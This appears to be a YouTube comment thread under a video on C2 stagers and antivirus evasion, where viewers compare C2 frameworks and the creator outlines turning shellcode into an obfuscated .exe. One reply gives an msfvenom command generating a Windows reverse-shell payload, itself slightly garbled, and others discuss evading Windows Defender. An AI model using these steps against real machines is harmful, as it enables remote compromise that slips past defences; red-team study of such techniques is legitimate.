You explain everything so well, I was going to play around with the stagers myself and this video helps a ton.
@AsdZxc-sj9sd
Ай бұрын
Wow 🎉
@ChadB_n00b
3 ай бұрын
Amazing work!
@M1k3y_Idecision
23 күн бұрын
What’s ur preferred best C2 im in between Mythic , Sliver , Havoc to start learning?
@0reoByt3
22 күн бұрын
I flip flop between Metasploit, Powershell-Emipre, Villain, and Sliver. For improving my knowledge of the C2 or testing custom tooling, like evasion. Learning by tinkering with different C2 frameworks and seeing what works for you. Each framework has different pros and cons. If you are not sure what you want to try next. There is a large Google sheet of many different C2 frameworks The link to that can be found if you search for "The C2 Matrix" or find the link at howto.thec2matrix.com/
@nhantieu2042
Ай бұрын
Hi, how to convert data to exe ? Can you give me the script?
@0reoByt3
Ай бұрын
The script just uses the xxd command to extract all the shellcode bytes of the desired payload in raw/data format. xxd -i file.bin Then does extra stuff to obfuscate, puts it into a simple shellcode runner, and compiles it into a .exe There are more ways than just xxd to extract the shellcode array of the payload. You can test this with msfvenom since sliver shellcode be to long to read unless you filter with the head command msfvenom -p windows/x64/shell_reverse_tcp -f raw lhost=eth0 lport=8443 -f msf_raw.bin xxd -i msf_bin
@nhantieu2042
Ай бұрын
@@0reoByt3 Thanks so much !
@F0rc3Tv
Ай бұрын
this works on windows 11 aswell i guess?
@0reoByt3
Ай бұрын
I would have to setup another Windows 11 Dev machine and try. Last time I tried to run 11 as a virtual machine it ran like junk. My Windows 10 box has updated version of windows defender and other signatures so I usually test with that. Of course disable to automatic sample submission and so on.
@F0rc3Tv
Ай бұрын
@@0reoByt3 ah nice. tho i follow this guide but didnt reallyy work. not sure why tho
@0reoByt3
Ай бұрын
@@F0rc3Tv Some people had similar results with Windows 11. When Alh4zr3d was doing his lazy AV evasion stream months ago with just msfvenom tooling. He streamed on Windows 10 but was caught on Windows 11.
@0reoByt3
Ай бұрын
@@F0rc3Tv There always more research that can be done.
Пікірлер: 14